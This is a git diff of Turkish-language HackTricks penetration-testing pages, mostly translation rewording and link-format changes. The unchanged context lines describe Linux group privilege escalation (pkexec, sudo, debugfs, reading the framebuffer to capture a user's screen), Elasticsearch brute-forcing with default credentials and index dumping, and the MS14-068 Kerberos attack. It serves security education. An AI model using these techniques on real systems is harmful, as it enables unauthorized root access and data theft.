Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmalısınız. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -373,5 +377,4 @@ Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir ko
|
||||
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -27,11 +27,11 @@ Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmad
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Eğer **pkexec** ikilisinin **SUID ikilisi** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikilileri sudo olarak çalıştırabilirsiniz.\
|
||||
Bu, genellikle bu grupların **polkit politikası** içinde yer alması nedeniyledir. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için:
|
||||
Bu, genellikle **polkit politikası** içindeki gruplardır. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları varsayılan olarak görünmektedir.
|
||||
Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları **varsayılan olarak** görünmektedir.
|
||||
|
||||
**root olmak için şunu çalıştırabilirsiniz**:
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ So, dosyayı okuyun ve bazı **hash'leri kırmaya** çalışın.
|
||||
|
||||
## Personel Grubu
|
||||
|
||||
**staff**: Kullanıcıların kök ayrıcalıkları olmadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: Kullanıcıların kök ayrıcalıklarına ihtiyaç duymadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne" yazabilir). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınıza bakılmaksızın.
|
||||
```bash
|
||||
@ -146,7 +146,7 @@ Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örn
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız.
|
||||
Ancak, eğer **root'a ait dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız.
|
||||
|
||||
## Video Grubu
|
||||
|
||||
@ -158,16 +158,16 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder.
|
||||
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
**Ham görüntüyü** açmak için **GIMP** kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz:
|
||||
**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi**'ni seçebilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi göstereni seçin):
|
||||
Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi gösterenini seçin):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -201,9 +201,13 @@ Son olarak, eğer daha önceki önerilerden hiçbiri hoşunuza gitmiyorsa veya b
|
||||
|
||||
Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak yetki yükseltme hakkında bu yazıyı okuyun**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
## lxc/lxd Grubu
|
||||
|
||||
|
@ -1,6 +1,5 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Sudo/Admin Grupları
|
||||
|
||||
## **PE - Yöntem 1**
|
||||
@ -21,7 +20,7 @@ sudo su
|
||||
```
|
||||
## PE - Yöntem 2
|
||||
|
||||
Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin:
|
||||
Tüm suid ikili dosyaları bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
@ -58,7 +57,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo ile her şeyi çalıştırabileceği** anlamına gelir.
|
||||
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
|
||||
|
||||
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
|
||||
```text
|
||||
@ -89,7 +88,7 @@ Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız \(
|
||||
|
||||
# Video Grubu
|
||||
|
||||
`w` komutunu kullanarak **sistemde kimin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
|
||||
`w` komutunu kullanarak **sistemde kimlerin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
@ -97,12 +96,12 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder.
|
||||
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz:
|
||||
**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi**'ni seçebilirsiniz:
|
||||
|
||||

|
||||
|
||||
@ -122,13 +121,16 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
|
||||
Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# lxc/lxd Grubu
|
||||
|
||||
[lxc - Yetki Yükseltme](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,6 +8,8 @@ Bu port, **Redshift** tarafından çalıştırılmak için kullanılır. Temelde
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
|
||||
Bu, yazıcıları kötüye kullanmak için kullanmak istediğiniz araçtır:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
{{#ref}}
|
||||
https://github.com/RUB-NDS/PRET
|
||||
{{#endref}}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
|
@ -8,7 +8,7 @@ Elasticsearch, **dağıtık**, **açık kaynak** bir arama ve analiz motorudur v
|
||||
|
||||
### Elasticsearch indeksi nedir?
|
||||
|
||||
Bir Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgeler** koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir.
|
||||
Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgeler** koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir.
|
||||
|
||||
Elasticsearch, hızlı tam metin aramaları sağlamak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar.
|
||||
|
||||
@ -39,8 +39,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir, böylece elasticsearch'ten herhangi bir bilgi alabilirsiniz. Ardından, [**bunu brute force ile denemeyi**](../generic-hacking/brute-force.md#elasticsearch) deneyebilirsiniz (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey geçerlidir).\
|
||||
İşte burada bir **varsayılan kullanıcı adı listesi** var: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**'dir.
|
||||
Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir. Ardından, [**bunu brute force ile denemek**](../generic-hacking/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\
|
||||
İşte burada bir **varsayılan kullanıcı adı listesi**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**dir.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
@ -86,7 +86,7 @@ Elasticsearch hakkında bazı **bilgiler** **edinmek** için **GET** ile **eriş
|
||||
| /\_cat/nodeattrs | | |
|
||||
| /\_cat/nodes | | |
|
||||
|
||||
Bu uç noktalar [**belgeden alındı**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ve burada **daha fazla** bilgi bulabilirsiniz.\
|
||||
Bu uç noktalar [**belgeden alındı**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ve burada **daha fazla** bulabilirsiniz.\
|
||||
Ayrıca, `/_cat`'e erişirseniz, yanıt `/_cat/*` uç noktalarını içerecektir.
|
||||
|
||||
`/_security/user`'da (eğer kimlik doğrulama etkinse) hangi kullanıcının `superuser` rolüne sahip olduğunu görebilirsiniz.
|
||||
@ -112,30 +112,30 @@ Eğer bir indeksin **tüm içeriğini dökmek** istiyorsanız, `http://host:9200
|
||||
|
||||
_Bank indeksindeki her belgenin (girişin) içeriğini ve önceki bölümde gördüğümüz bu indeksin alanlarını karşılaştırmak için bir an durun._
|
||||
|
||||
Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının** olmasıdır.\
|
||||
Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının olmasıdır.**\
|
||||
Ama şimdi bu indeksin **1000 belge içerdiğini bildiğinize göre**, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Not: Daha büyük bir sayı belirtirseniz, tüm girişler yine de dökülecektir; örneğin `size=9999` belirtebilirsiniz ve daha fazla giriş varsa garip olur (ama kontrol etmelisiniz)._
|
||||
|
||||
### Hepsini Dökme
|
||||
|
||||
Hepsini dökmek için, **önceki yolla aynı yola gidip herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Hepsini dökmek için, **önceki yolla aynı yola gidebilir ancak herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha **büyük bir sonuç miktarını** dökmek için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun.
|
||||
|
||||
### Arama
|
||||
|
||||
Eğer bazı bilgileri arıyorsanız, tüm indekslerde **ham bir arama** yapmak için `http://host:9200/_search?pretty=true&q=<search_term>` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
Eğer bazı bilgiler arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz, `http://host:9200/_search?pretty=true&q=<search_term>` adresine giderek, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer sadece bir indeks içinde **arama yapmak** istiyorsanız, **yolu** belirterek **bunu yapabilirsiniz**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
Eğer sadece bir indeks üzerinde **arama yapmak** istiyorsanız, **yolu** belirterek **bunu yapabilirsiniz**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_K içerik aramak için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._
|
||||
_Arama içeriği için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._
|
||||
|
||||
Ayrıca bir elasticsearch hizmetini fuzzlamak için [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gibi bir şey de kullanabilirsiniz.
|
||||
|
||||
### Yazma İzinleri
|
||||
|
||||
Yeni bir indeks içinde yeni bir belge oluşturmayı deneyerek yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak:
|
||||
Yeni bir indeks içinde yeni bir belge oluşturarak yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak:
|
||||
```bash
|
||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
@ -145,7 +145,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
||||
"name" : "how to get a job"
|
||||
}'
|
||||
```
|
||||
O cmd, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır.
|
||||
Bu komut, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır.
|
||||
|
||||
**Yeni indeksin şimdi listede nasıl göründüğüne dikkat edin**:
|
||||
|
||||
@ -161,11 +161,12 @@ Bazı araçlar, daha önce sunulan verilerin bir kısmını elde edecektir:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
|
||||
{{#ref}}
|
||||
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
|
||||
{{#endref}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:9200 elasticsearch`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,9 @@
|
||||
|
||||
# **Varsayılan şifreler**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
{{#ref}}
|
||||
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
|
||||
{{#endref}}
|
||||
|
||||
# Konfigürasyon dosyaları
|
||||
```text
|
||||
|
@ -6,16 +6,16 @@
|
||||
|
||||
**Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulaması yapma prensibi üzerine çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır.
|
||||
|
||||
**Active Directory** gibi ortamlarda, **Kerberos** kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce onaylandığını garanti eder. Ancak, **Kerberos** belirli kaynaklar veya hizmetler üzerindeki bir kullanıcının izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
|
||||
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
|
||||
|
||||
**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar.
|
||||
**Kerberos** tarafından kimlik doğrulandıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar.
|
||||
|
||||
**Varsayılan Port:** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/) **hakkında yazıyı okumalısınız.**
|
||||
### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** hakkında yazıyı okumalısınız.**
|
||||
|
||||
## Daha Fazla
|
||||
|
||||
@ -27,7 +27,9 @@ PORT STATE SERVICE
|
||||
|
||||
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır, örneğin bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar.
|
||||
|
||||
{% embed url="https://adsecurity.org/?p=541" %}
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Diğer istismarlar: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
|
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**SSH (Güvenli Kabuk veya Güvenli Soket Kabuk)**, güvensiz bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlamak için kullanılan bir ağ protokolüdür. Uzak sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir.
|
||||
